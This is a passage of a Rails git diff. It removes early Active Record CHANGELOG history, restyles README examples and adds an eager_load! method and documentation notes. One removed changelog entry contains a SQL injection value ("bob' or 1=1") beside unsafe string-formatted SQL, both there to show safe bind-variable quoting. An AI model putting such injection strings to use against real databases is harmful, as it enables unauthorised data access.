- specified but +:counter_sql+, +:counter_sql+ will be generated by replacing SELECT ... FROM with SELECT COUNT(*) FROM.
-
-* Fixed that methods wrapped in callbacks still return their original result #260 *Jeremy Kemper*
-
-* Fixed the Inflector to handle the movie/movies pair correctly #261 *Scott Baron*
-
-* Added named bind-style variable interpolation #281 [Michael Koziarski]. Example:
-
- Person.find(["id = :id and first_name = :first_name", { :id => 5, :first_name = "bob' or 1=1" }])
-
-* Added bind-style variable interpolation for the condition arrays that uses the adapter's quote method *Michael Koziarski*
-
- Before:
- find_first([ "user_name = '%s' AND password = '%s'", user_name, password ])]
- find_first([ "firm_id = %s", firm_id ])] # unsafe!
-
- After:
- find_first([ "user_name = ? AND password = ?", user_name, password ])]
- find_first([ "firm_id = ?", firm_id ])]
-
-* Added CSV format for fixtures #272 [what-a-day]. (See the new and expanded documentation on fixtures for more information)
-
-* Fixed fixtures using primary key fields called something else than "id" *dave*
-
-* Added proper handling of time fields that are turned into Time objects with the dummy date of 2000/1/1 *HariSeldon*
-
-* Added reverse order of deleting fixtures, so referential keys can be maintained #247 *Tim Bates*
-
-* Added relative path search for sqlite dbfiles in database.yml (if RAILS_ROOT is defined) #233 *Jeremy Kemper*
-
-* Added option to establish_connection where you'll be able to leave out the parameter to have it use the RAILS_ENV environment variable
-
-* Fixed problems with primary keys and postgresql sequences (#230) *Tim Bates*
-
-* Added reloading for associations under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
- This is turned on by default, but can be turned off with ActiveRecord::Base.reload_dependencies = false in production environments.
-
- NOTE: This will only have an effect if you let the associations manage the requiring of model classes. All libraries loaded through
- require will be "forever" cached. You can, however, use ActiveRecord::Base.load_or_require("library") to get this behavior outside of the
- auto-loading associations.
-
-* Added ERB capabilities to the fixture files for dynamic fixture generation. You don't need to do anything, just include ERB blocks like:
-
- david:
- id: 1
- name: David
-
- jamis:
- id: 2
- name: Jamis
-
- <% for digit in 3..10 %>
- dev_<%= digit %>:
- id: <%= digit %>
- name: fixture_<%= digit %>
- <% end %>
-
-* Changed the yaml fixture searcher to look in the root of the fixtures directory, so when you before could have something like:
-
- fixtures/developers/fixtures.yaml
- fixtures/accounts/fixtures.yaml
-
- ...you now need to do:
-
- fixtures/developers.yaml
- fixtures/accounts.yaml
-
-* Changed the fixture format from:
-
- name: david
- data:
- id: 1
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
- ---
- name: steve
- data:
- id: 2
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-
- ...to:
-
- david:
- id: 1
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
-
- steve:
- id: 2
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-
- The change is NOT backwards compatible. Fixtures written in the old YAML style needs to be rewritten!
-
-* All associations will now attempt to require the classes that they associate to. Relieving the need for most explicit 'require' statements.
-
-
-## 1.1.0 (34) ##
-
-* Added automatic fixture setup and instance variable availability. Fixtures can also be automatically
- instantiated in instance variables relating to their names using the following style:
-
- class FixturesTest < Test::Unit::TestCase
- fixtures :developers # you can add more with comma separation
-
- def test_developers
- assert_equal 3, @developers.size # the container for all the fixtures is automatically set
- assert_kind_of Developer, @david # works like @developers["david"].find
- assert_equal "David Heinemeier Hansson", @david.name
- end
- end
-
-* Added HasAndBelongsToManyAssociation#push_with_attributes(object, join_attributes) that can create associations in the join table with additional
- attributes. This is really useful when you have information that's only relevant to the join itself, such as a "added_on" column for an association
- between post and category. The added attributes will automatically be injected into objects retrieved through the association similar to the piggy-back
- approach:
-
- post.categories.push_with_attributes(category, :added_on => Date.today)
- post.categories.first.added_on # => Date.today
-
- NOTE: The categories table doesn't have an added_on column, it's the categories_post join table that does!
-
-* Fixed that :exclusively_dependent and :dependent can't be activated at the same time on has_many associations *Jeremy Kemper*
-
-* Fixed that database passwords couldn't be all numeric *Jeremy Kemper*
-
-* Fixed that calling id would create the instance variable for new_records preventing them from being saved correctly *Jeremy Kemper*
-
-* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all *Sam Stephenson/Jeremy Kemper*
-
-* Added that you can pass overlapping ids to find without getting duplicated records back *Jeremy Kemper*
-
-* Added that Base.benchmark returns the result of the block *Jeremy Kemper*
-
-* Fixed problem with unit tests on Windows with SQLite *paterno*
-
-* Fixed that quotes would break regular non-yaml fixtures *Dmitry Sabanin/daft*
-
-* Fixed fixtures on windows with line endings cause problems under unix / mac *Tobias Lütke*
-
-* Added HasAndBelongsToManyAssociation#find(id) that'll search inside the collection and find the object or record with that id
-
-* Added :conditions option to has_and_belongs_to_many that works just like the one on all the other associations
-
-* Added AssociationCollection#clear to remove all associations from has_many and has_and_belongs_to_many associations without destroying the records *geech*
-
-* Added type-checking and remove in 1-instead-of-N sql statements to AssociationCollection#delete *geech*
-
-* Added a return of self to AssociationCollection#<< so appending can be chained, like project << Milestone.create << Milestone.create *geech*
-
-* Added Base#hash and Base#eql? which means that all of the equality using features of array and other containers now works:
-
- [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
-
-* Added :uniq as an option to has_and_belongs_to_many which will automatically ensure that AssociateCollection#uniq is called
- before pulling records out of the association. This is especially useful for three-way (and above) has_and_belongs_to_many associations.
-
-* Added AssociateCollection#uniq which is especially useful for has_and_belongs_to_many associations that can include duplicates,
- which is common on associations that also use metadata. Usage: post.categories.uniq
-
-* Fixed respond_to? to use a subclass specific hash instead of an Active Record-wide one
-
-* Fixed has_and_belongs_to_many to treat associations between classes in modules properly *Florian Weber*
-
-* Added a NoMethod exception to be raised when query and writer methods are called for attributes that doesn't exist *geech*
-
-* Added a more robust version of Fixtures that throws meaningful errors when on formatting issues *geech*
-
-* Added Base#transaction as a compliment to Base.transaction for prettier use in instance methods *geech*
-
-* Improved the speed of respond_to? by placing the dynamic methods lookup table in a hash *geech*
-
-* Added that any additional fields added to the join table in a has_and_belongs_to_many association
- will be placed as attributes when pulling records out through has_and_belongs_to_many associations.
- This is helpful when have information about the association itself that you want available on retrival.
-
-* Added better loading exception catching and RubyGems retries to the database adapters *alexeyv*
-
-* Fixed bug with per-model transactions *daniel*
-
-* Fixed Base#transaction so that it returns the result of the last expression in the transaction block *alexeyv*
-
-* Added Fixture#find to find the record corresponding to the fixture id. The record
- class name is guessed by using Inflector#classify (also new) on the fixture directory name.
-
- Before: Document.find(@documents["first"]["id"])
- After : @documents["first"].find
-
-* Fixed that the table name part of column names ("TABLE.COLUMN") wasn't removed properly *Andreas Schwarz*
-
-* Fixed a bug with Base#size when a finder_sql was used that didn't capitalize SELECT and FROM *geech*
-
-* Fixed quoting problems on SQLite by adding quote_string to the AbstractAdapter that can be overwritten by the concrete
- adapters for a call to the dbm. *Andreas Schwarz*
-
-* Removed RubyGems backup strategy for requiring SQLite-adapter -- if people want to use gems, they're already doing it with AR.
-
-
-## 1.0.0 (35) ##
-
-* Added OO-style associations methods [Florian Weber]. Examples:
-
- Project#milestones_count => Project#milestones.size
- Project#build_to_milestones => Project#milestones.build
- Project#create_for_milestones => Project#milestones.create
- Project#find_in_milestones => Project#milestones.find
- Project#find_all_in_milestones => Project#milestones.find_all
-
-* Added serialize as a new class method to control when text attributes should be YAMLized or not. This means that automated
- serialization of hashes, arrays, and so on WILL NO LONGER HAPPEN (#10). You need to do something like this:
-
- class User < ActiveRecord::Base
- serialize :settings
- end
-
- This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
- an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendant of a class not in
- the hierarchy. Example:
-
- class User < ActiveRecord::Base
- serialize :settings, :class_name => "Hash"
- end
-
- user = User.create("settings" => %w( one two three ))
- User.find(user.id).settings # => raises SerializationTypeMismatch
-
-* Added the option to connect to a different database for one model at a time. Just call establish_connection on the class
- you want to have connected to another database than Base. This will automatically also connect decendents of that class
- to the different database [Renald Buter].
-
-* Added transactional protection for Base#save. Validations can now check for values knowing that it happens in a transaction and callbacks
- can raise exceptions knowing that the save will be rolled back. *Suggested by Alexey Verkhovsky*
-
-* Added column name quoting so reserved words, such as "references", can be used as column names *Ryan Platte*
-
-* Added the possibility to chain the return of what happened inside a logged block [geech]:
-
- This now works:
- log { ... }.map { ... }
-
- Instead of doing:
- result = []
- log { result = ... }
- result.map { ... }
-
-* Added "socket" option for the MySQL adapter, so you can change it to something else than "/tmp/mysql.sock" *Anna Lissa Cruz*
-
-* Added respond_to? answers for all the attribute methods. So if Person has a name attribute retrieved from the table schema,
- person.respond_to? "name" will return true.
-
-* Added Base.benchmark which can be used to aggregate logging and benchmark, so you can measure and represent multiple statements in a single block.
- Usage (hides all the SQL calls for the individual actions and calculates total runtime for them all):
-
- Project.benchmark("Creating project") do
- project = Project.create("name" => "stuff")
- project.create_manager("name" => "David")
- project.milestones << Milestone.find_all
- end
-
-* Added logging of invalid SQL statements *Daniel Von Fange*
-
-* Added alias Errors#[] for Errors#on, so you can now say person.errors["name"] to retrieve the errors for name *Andreas Schwarz*
-
-* Added RubyGems require attempt if sqlite-ruby is not available through regular methods.
-
-* Added compatibility with 2.x series of sqlite-ruby drivers. *Jamis Buck*
-
-* Added type safety for association assignments, so a ActiveRecord::AssociationTypeMismatch will be raised if you attempt to
- assign an object that's not of the associated class. This cures the problem with nil giving id = 4 and fixnums giving id = 1 on
- mistaken association assignments. *Reported by Andreas Schwarz*
-
-* Added the option to keep many fixtures in one single YAML document *what-a-day*
-
-* Added the class method "inheritance_column" that can be overwritten to return the name of an alternative column than "type" for storing
- the type for inheritance hierarchies. *Dave Steinberg*
-
-* Added [] and []= as an alternative way to access attributes when the regular methods have been overwritten *Dave Steinberg*
-
-* Added the option to observer more than one class at the time by specifying observed_class as an array
-
-* Added auto-id propagation support for tables with arbitrary primary keys that have autogenerated sequences associated with them
- on PostgreSQL. *Dave Steinberg*
-
-* Changed that integer and floats set to "" through attributes= remain as NULL. This was especially a problem for scaffolding and postgresql. (#49)
-
-* Changed the MySQL Adapter to rely on MySQL for its defaults for socket, host, and port *Andreas Schwarz*
-
-* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
-
-* Changed class inheritable attributes to not use eval *Caio Chassot*
-
-* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those *Marcel Molina Jr.*
-
-* Fixed spelling on Base#add_on_boundry_breaking to Base#add_on_boundary_breaking (old naming still works) *Marcel Molina Jr.*
-
-* Fixed that entries in the has_and_belongs_to_many join table didn't get removed when an associated object was destroyed.
-
-* Fixed unnecessary calls to SET AUTOCOMMIT=0/1 for MySQL adapter *Andreas Schwarz*
-
-* Fixed PostgreSQL defaults are now handled gracefully *Dave Steinberg*
-
-* Fixed increment/decrement_counter are now atomic updates *Andreas Schwarz*
-
-* Fixed the problems the Inflector had turning Attachment into attuchments and Cases into Casis *radsaq/Florian Gross*
-
-* Fixed that cloned records would point attribute references on the parent object *Andreas Schwarz*
-
-* Fixed SQL for type call on inheritance hierarchies *Caio Chassot*
-
-* Fixed bug with typed inheritance *Florian Weber*
-
-* Fixed a bug where has_many collection_count wouldn't use the conditions specified for that association
-
-
-## 0.9.5 ##
-
-* Expanded the table_name guessing rules immensely [Florian Green]. Documentation:
-
- Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
- directly from ActiveRecord. So if the hierarchy looks like: Reply < Message < ActiveRecord, then Message is used
- to guess the table name from even when called on Reply. The guessing rules are as follows:
- * Class name ends in "x", "ch" or "ss": "es" is appended, so a Search class becomes a searches table.
- * Class name ends in "y" preceded by a consonant or "qu": The "y" is replaced with "ies",
- so a Category class becomes a categories table.
- * Class name ends in "fe": The "fe" is replaced with "ves", so a Wife class becomes a wives table.
- * Class name ends in "lf" or "rf": The "f" is replaced with "ves", so a Half class becomes a halves table.
- * Class name ends in "person": The "person" is replaced with "people", so a Salesperson class becomes a salespeople table.
- * Class name ends in "man": The "man" is replaced with "men", so a Spokesman class becomes a spokesmen table.
- * Class name ends in "sis": The "i" is replaced with an "e", so a Basis class becomes a bases table.
- * Class name ends in "tum" or "ium": The "um" is replaced with an "a", so a Datum class becomes a data table.
- * Class name ends in "child": The "child" is replaced with "children", so a NodeChild class becomes a node_children table.
- * Class name ends in an "s": No additional characters are added or removed.
- * Class name doesn't end in "s": An "s" is appended, so a Comment class becomes a comments table.
- * Class name with word compositions: Compositions are underscored, so CreditCard class becomes a credit_cards table.
- Additionally, the class-level table_name_prefix is prepended to the table_name and the table_name_suffix is appended.
- So if you have "myapp_" as a prefix, the table name guess for an Account class becomes "myapp_accounts".
-
- You can also overwrite this class method to allow for unguessable links, such as a Mouse class with a link to a
- "mice" table. Example:
-
- class Mouse < ActiveRecord::Base
- def self.table_name() "mice" end
- end
-
- This conversion is now done through an external class called Inflector residing in lib/active_record/support/inflector.rb.
-
-* Added find_all_in_collection to has_many defined collections. Works like this:
-
- class Firm < ActiveRecord::Base
- has_many :clients
- end
-
- firm.id # => 1
- firm.find_all_in_clients "revenue > 1000" # SELECT * FROM clients WHERE firm_id = 1 AND revenue > 1000
-
- *Requested by Dave Thomas*
-
-* Fixed finders for inheritance hierarchies deeper than one level *Florian Weber*
-
-* Added add_on_boundry_breaking to errors to accompany add_on_empty as a default validation method. It's used like this:
-
- class Person < ActiveRecord::Base
- protected
- def validation
- errors.add_on_boundry_breaking "password", 3..20
- end
- end
-
- This will add an error to the tune of "is too short (minimum is 3 characters)" or "is too long (minimum is 20 characters)" if
- the password is outside the boundry. The messages can be changed by passing a third and forth parameter as message strings.
-
-* Implemented a clone method that works properly with AR. It returns a clone of the record that
- hasn't been assigned an id yet and is treated as a new record.
-
-* Allow for domain sockets in PostgreSQL by not assuming localhost when no host is specified *Scott Barron*
-
-* Fixed that bignums are saved properly instead of attempted to be YAMLized *Andreas Schwartz*
-
-* Fixed a bug in the GEM where the rdoc options weren't being passed according to spec *Chad Fowler*
-
-* Fixed a bug with the exclusively_dependent option for has_many
-
-
-## 0.9.4 ##
-
-* Correctly guesses the primary key when the class is inside a module [Dave Steinberg].
-
-* Added [] and []= as alternatives to read_attribute and write_attribute *Dave Steinberg*
-
-* has_and_belongs_to_many now accepts an :order key to determine in which order the collection is returned [radsaq].
-
-* The ids passed to find and find_on_conditions are now automatically sanitized.
-
-* Added escaping of plings in YAML content.
-
-* Multi-parameter assigns where all the parameters are empty will now be set to nil instead of a new instance of their class.
-
-* Proper type within an inheritance hierarchy is now ensured already at object initialization (instead of first at create)
-
-
-## 0.9.3 ##
-
-* Fixed bug with using a different primary key name together with has_and_belongs_to_many *Investigation by Scott*
-
-* Added :exclusively_dependent option to the has_many association macro. The doc reads:
-
- If set to true all the associated object are deleted in one SQL statement without having their
- before_destroy callback run. This should only be used on associations that depend solely on
- this class and don't need to do any clean-up in before_destroy. The upside is that it's much
- faster, especially if there's a counter_cache involved.
-
-* Added :port key to connection options, so the PostgreSQL and MySQL adapters can connect to a database server
- running on another port than the default.
-
-* Converted the new natural singleton methods that prevented AR objects from being saved by PStore
- (and hence be placed in a Rails session) to a module. *Florian Weber*
-
-* Fixed the use of floats (was broken since 0.9.0+)
-
-* Fixed PostgreSQL adapter so default values are displayed properly when used in conjunction with
- Action Pack scaffolding.
-
-* Fixed booleans support for PostgreSQL (use real true/false on boolean fields instead of 0/1 on tinyints) *radsaq*
-
-
-## 0.9.2 ##
-
-* Added static method for instantly updating a record
-
-* Treat decimal and numeric as Ruby floats *Andreas Schwartz*
-
-* Treat chars as Ruby strings (fixes problem for Action Pack form helpers too)
-
-* Removed debugging output accidently left in (which would screw web applications)
-
-
-## 0.9.1 ##
-
-* Added MIT license
-
-* Added natural object-style assignment for has_and_belongs_to_many associations. Consider the following model:
-
- class Event < ActiveRecord::Base
- has_one_and_belongs_to_many :sponsors
- end
-
- class Sponsor < ActiveRecord::Base
- has_one_and_belongs_to_many :sponsors
- end
-
- Earlier, you'd have to use synthetic methods for creating associations between two objects of the above class:
-
- roskilde_festival.add_to_sponsors(carlsberg)
- roskilde_festival.remove_from_sponsors(carlsberg)
-
- nike.add_to_events(world_cup)
- nike.remove_from_events(world_cup)
-
- Now you can use regular array-styled methods:
-
- roskilde_festival.sponsors << carlsberg
- roskilde_festival.sponsors.delete(carlsberg)
-
- nike.events << world_cup
- nike.events.delete(world_cup)
-
-* Added delete method for has_many associations. Using this will nullify an association between the has_many and the belonging
- object by setting the foreign key to null. Consider this model:
-
- class Post < ActiveRecord::Base
- has_many :comments
- end
-
- class Comment < ActiveRecord::Base
- belongs_to :post
- end
-
- You could do something like:
-
- funny_comment.has_post? # => true
- announcement.comments.delete(funny_comment)
- funny_comment.has_post? # => false
-
-
-## 0.9.0 ##
-
-* Active Record is now thread safe! (So you can use it with Cerise and WEBrick applications)
- *Implementation idea by Michael Neumann, debugging assistance by Jamis Buck*
-
-* Improved performance by roughly 400% on a basic test case of pulling 100 records and querying one attribute.
- This brings the tax for using Active Record instead of "riding on the metal" (using MySQL-ruby C-driver directly) down to ~50%.
- Done by doing lazy type conversions and caching column information on the class-level.
-
-* Added callback objects and procs as options for implementing the target for callback macros.
-
-* Added "counter_cache" option to belongs_to that automates the usage of increment_counter and decrement_counter. Consider:
-
- class Post < ActiveRecord::Base
- has_many :comments
- end
-
- class Comment < ActiveRecord::Base
- belongs_to :post
- end
-
- Iterating over 100 posts like this:
-
- <% for post in @posts %>
- <%= post.title %> has <%= post.comments_count %> comments
- <% end %>
-
- Will generate 100 SQL count queries -- one for each call to post.comments_count. If you instead add a "comments_count" int column
- to the posts table and rewrite the comments association macro with:
-
- class Comment < ActiveRecord::Base
- belongs_to :post, :counter_cache => true
- end
-
- Those 100 SQL count queries will be reduced to zero. Beware that counter caching is only appropriate for objects that begin life
- with the object it's specified to belong with and is destroyed like that as well. Typically objects where you would also specify
- :dependent => true. If your objects switch from one belonging to another (like a post that can be move from one category to another),
- you'll have to manage the counter yourself.
-
-* Added natural object-style assignment for has_one and belongs_to associations. Consider the following model:
-
- class Project < ActiveRecord::Base
- has_one :manager
- end
-
- class Manager < ActiveRecord::Base
- belongs_to :project
- end
-
- Earlier, assignments would work like following regardless of which way the assignment told the best story:
-
- active_record.manager_id = david.id
-
- Now you can do it either from the belonging side:
-
- david.project = active_record
-
- ...or from the having side:
-
- active_record.manager = david
-
- If the assignment happens from the having side, the assigned object is automatically saved. So in the example above, the
- project_id attribute on david would be set to the id of active_record, then david would be saved.
-
-* Added natural object-style assignment for has_many associations [Florian Weber]. Consider the following model:
-
- class Project < ActiveRecord::Base
- has_many :milestones
- end
-
- class Milestone < ActiveRecord::Base
- belongs_to :project
- end
-
- Earlier, assignments would work like following regardless of which way the assignment told the best story:
-
- deadline.project_id = active_record.id
-
- Now you can do it either from the belonging side:
-
- deadline.project = active_record
-
- ...or from the having side:
-
- active_record.milestones << deadline
-
- The milestone is automatically saved with the new foreign key.
-
-* API CHANGE: Attributes for text (or blob or similar) columns will now have unknown classes stored using YAML instead of using
- to_s. (Known classes that won't be yamelized are: String, NilClass, TrueClass, FalseClass, Fixnum, Date, and Time).
- Likewise, data pulled out of text-based attributes will be attempted converged using Yaml if they have the "--- " header.
- This was primarily done to be enable the storage of hashes and arrays without wrapping them in aggregations, so now you can do:
-
- user = User.find(1)
- user.preferences = { "background" => "black", "display" => large }
- user.save
-
- User.find(1).preferences # => { "background" => "black", "display" => large }
-
- Please note that this method should only be used when you don't care about representing the object in proper columns in
- the database. A money object consisting of an amount and a currency is still a much better fit for a value object done through
- aggregations than this new option.
-
-* POSSIBLE CODE BREAKAGE: As a consequence of the lazy type conversions, it's a bad idea to reference the @attributes hash
- directly (it always was, but now it's paramount that you don't). If you do, you won't get the type conversion. So to implement
- new accessors for existing attributes, use read_attribute(attr_name) and write_attribute(attr_name, value) instead. Like this:
-
- class Song < ActiveRecord::Base
- # Uses an integer of seconds to hold the length of the song
-
- def length=(minutes)
- write_attribute("length", minutes * 60)
- end
-
- def length
- read_attribute("length") / 60
- end
- end
-
- The clever kid will notice that this opens a door to sidestep the automated type conversion by using @attributes directly.
- This is not recommended as read/write_attribute may be granted additional responsibilities in the future, but if you think
- you know what you're doing and aren't afraid of future consequences, this is an option.
-
-* Applied a few minor bug fixes reported by Daniel Von Fange.
-
-
-## 0.8.4 ##
-
- _Reflection_
-* Added ActiveRecord::Reflection with a bunch of methods and classes for reflecting in aggregations and associations.
-
-* Added Base.columns and Base.content_columns which returns arrays of column description (type, default, etc) objects.
-
-* Added Base#attribute_names which returns an array of names for the attributes available on the object.
-
-* Added Base#column_for_attribute(name) which returns the column description object for the named attribute.
-
-
- _Misc_
-* Added multi-parameter assignment:
-
- # Instantiate objects for all attribute classes that needs more than one constructor parameter. This is done
- # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
- # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
- # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
- # parenteses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
- # s for String, and a for Array.
-
- This is incredibly useful for assigning dates from HTML drop-downs of month, year, and day.
-
-* Fixed bug with custom primary key column name and Base.find on multiple parameters.
-
-* Fixed bug with dependent option on has_one associations if there was no associated object.
-
-
-## 0.8.3 ##
-
- _Transactions_
-* Added transactional protection for destroy (important for the new :dependent option) *Suggested by Carl Youngblood*
-
-* Fixed so transactions are ignored on MyISAM tables for MySQL (use InnoDB to get transactions)
-
-* Changed transactions so only exceptions will cause a rollback, not returned false.
-
-
- _Mapping_
-* Added support for non-integer primary keys *Aredridel/earlier work by Michael Neumann*
-
- User.find "jdoe"
- Product.find "PDKEY-INT-12"
-
-* Added option to specify naming method for primary key column. ActiveRecord::Base.primary_key_prefix_type can either
- be set to nil, :table_name, or :table_name_with_underscore. :table_name will assume that Product class has a primary key
- of "productid" and :table_name_with_underscore will assume "product_id". The default nil will just give "id".
-
-* Added an overwriteable primary_key method that'll instruct AR to the name of the
- id column *Aredridele/earlier work by Guan Yang*
-
- class Project < ActiveRecord::Base
- def self.primary_key() "project_id" end
- end
-
-* Fixed that Active Records can safely associate inside and out of modules.
-
- class MyApplication::Account < ActiveRecord::Base
- has_many :clients # will look for MyApplication::Client
- has_many :interests, :class_name => "Business::Interest" # will look for Business::Interest
- end
-
-* Fixed that Active Records can safely live inside modules *Aredridel*
-
- class MyApplication::Account < ActiveRecord::Base
- end
-
-
- _Misc_
-* Added freeze call to value object assignments to ensure they remain immutable *Spotted by Gavin Sinclair*
-
-* Changed interface for specifying observed class in observers. Was OBSERVED_CLASS constant, now is
- observed_class() class method. This is more consistant with things like self.table_name(). Works like this:
-
- class AuditObserver < ActiveRecord::Observer
- def self.observed_class() Account end
- def after_update(account)
- AuditTrail.new(account, "UPDATED")
- end
- end
-
- *Suggested by Gavin Sinclair*
-
-* Create new Active Record objects by setting the attributes through a block. Like this:
-
- person = Person.new do |p|
- p.name = 'Freddy'
- p.age = 19
- end
-
- *Suggested by Gavin Sinclair*
-
-
-## 0.8.2 ##
-
-* Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
- run throughout the entire inheritance hierarchy. Regardless of whether a descendant overwrites the callback
- method:
-
- class Topic < ActiveRecord::Base
- before_destroy :destroy_author, 'puts "I'm an inline fragment"'
- end
-
- Learn more in link:classes/ActiveRecord/Callbacks.html
-
-* Added :dependent option to has_many and has_one, which will automatically destroy associated objects when
- the holder is destroyed:
-
- class Album < ActiveRecord::Base
- has_many :tracks, :dependent => true
- end
-
- All the associated tracks are destroyed when the album is.
-
-* Added Base.create as a factory that'll create, save, and return a new object in one step.
-
-* Automatically convert strings in config hashes to symbols for the _connection methods. This allows you
- to pass the argument hashes directly from yaml. (Luke)
-
-* Fixed the install.rb to include simple.rb *Spotted by Kevin Bullock*
-
-* Modified block syntax to better follow our code standards outlined in
- http://www.rubyonrails.org/CodingStandards
-
-
-## 0.8.1 ##
-
-* Added object-level transactions *Austin Ziegler*
-
-* Changed adapter-specific connection methods to use centralized ActiveRecord::Base.establish_connection,
- which is parametized through a config hash with symbol keys instead of a regular parameter list.
- This will allow for database connections to be opened in a more generic fashion. (Luke)
-
- NOTE: This requires all *_connections to be updated! Read more in:
- http://ar.rubyonrails.org/classes/ActiveRecord/Base.html#M000081
-
-* Fixed SQLite adapter so objects fetched from has_and_belongs_to_many have proper attributes
- (t.name is now name). *Spotted by Garrett Rooney*
-
-* Fixed SQLite adapter so dates are returned as Date objects, not Time objects *Spotted by Gavin Sinclair*
-
-* Fixed requirement of date class, so date conversions are succesful regardless of whether you
- manually require date or not.
-
-
-## 0.8.0 ##
-
-* Added transactions
-
-* Changed Base.find to also accept either a list (1, 5, 6) or an array of ids ([5, 7])
- as parameter and then return an array of objects instead of just an object
-
-* Fixed method has_collection? for has_and_belongs_to_many macro to behave as a
- collection, not an association
-
-* Fixed SQLite adapter so empty or nil values in columns of datetime, date, or time type
- aren't treated as current time *Spotted by Gavin Sinclair*
-
-
-## 0.7.6 ##
-
-* Fixed the install.rb to create the lib/active_record/support directory *Spotted by Gavin Sinclair*
-* Fixed that has_association? would always return true *Daniel Von Fange*
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index d080e0b0f5..cc8942809c 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -49,10 +49,10 @@ A short rundown of some of the major features:
* Aggregations of value objects.
class Account < ActiveRecord::Base
- composed_of :balance, :class_name => "Money",
- :mapping => %w(balance amount)
+ composed_of :balance, class_name: 'Money',
+ mapping: %w(balance amount)
composed_of :address,
- :mapping => [%w(address_street street), %w(address_city city)]
+ mapping: [%w(address_street street), %w(address_city city)]
end
{Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
@@ -84,7 +84,7 @@ A short rundown of some of the major features:
class CommentObserver < ActiveRecord::Observer
def after_create(comment) # is called just after Comment#save
- CommentMailer.new_comment_email("david@loudthinking.com", comment).deliver
+ CommentMailer.new_comment_email('david@loudthinking.com', comment).deliver
end
end
@@ -124,15 +124,15 @@ A short rundown of some of the major features:
* Database abstraction through simple adapters.
# connect to SQLite3
- ActiveRecord::Base.establish_connection(:adapter => "sqlite3", :database => "dbfile.sqlite3")
+ ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: 'dbfile.sqlite3')
# connect to MySQL with authentication
ActiveRecord::Base.establish_connection(
- :adapter => "mysql2",
- :host => "localhost",
- :username => "me",
- :password => "secret",
- :database => "activerecord"
+ adapter: 'mysql2',
+ host: 'localhost',
+ username: 'me',
+ password: 'secret',
+ database: 'activerecord'
)
{Learn more}[link:classes/ActiveRecord/Base.html] and read about the built-in support for
@@ -144,7 +144,7 @@ A short rundown of some of the major features:
* Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
- ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
+ ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
* Database agnostic schema management with Migrations.
@@ -159,7 +159,7 @@ A short rundown of some of the major features:
t.integer :position
end
- SystemSetting.create :name => "notice", :label => "Use notice?", :value => 1
+ SystemSetting.create name: 'notice', label: 'Use notice?', value: 1
end
def down
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 39427bc296..1675127ab0 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -53,17 +53,6 @@ module ActiveRecord
autoload :ReadonlyAttributes
autoload :Reflection
autoload :Sanitization
-
- # ActiveRecord::SessionStore depends on the abstract store in Action Pack.
- # Eager loading this class would break client code that eager loads Active
- # Record standalone.
- #
- # Note that the Rails application generator creates an initializer specific
- # for setting the session store. Thus, albeit in theory this autoload would
- # not be thread-safe, in practice it is because if the application uses this
- # session store its autoload happens at boot time.
- autoload :SessionStore
-
autoload :Schema
autoload :SchemaDumper
autoload :SchemaMigration
@@ -160,6 +149,15 @@ module ActiveRecord
autoload :TestCase
autoload :TestFixtures, 'active_record/fixtures'
+
+ def self.eager_load!
+ super
+ ActiveRecord::Locking.eager_load!
+ ActiveRecord::Scoping.eager_load!
+ ActiveRecord::Associations.eager_load!
+ ActiveRecord::AttributeMethods.eager_load!
+ ActiveRecord::ConnectionAdapters.eager_load!
+ end
end
ActiveSupport.on_load(:active_record) do
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 9ba3323bc7..258d602afa 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -17,7 +17,7 @@ module ActiveRecord
class HasManyThroughAssociationPolymorphicSourceError < ActiveRecordError #:nodoc:
def initialize(owner_class_name, reflection, source_reflection)
- super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}'.")
+ super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.")
end
end
@@ -950,6 +950,11 @@ module ActiveRecord
# specific association types. When no option is given, the behaviour is to do nothing
# with the associated records when destroying a record.
#
+ # Note that <tt>:dependent</tt> is implemented using Rails' callback
+ # system, which works by processing callbacks in order. Therefore, other
+ # callbacks declared either before or after the <tt>:dependent</tt> option
+ # can affect what it does.
+ #
# === Delete or destroy?
#
# +has_many+ and +has_and_belongs_to_many+ associations have the methods <tt>destroy</tt>,
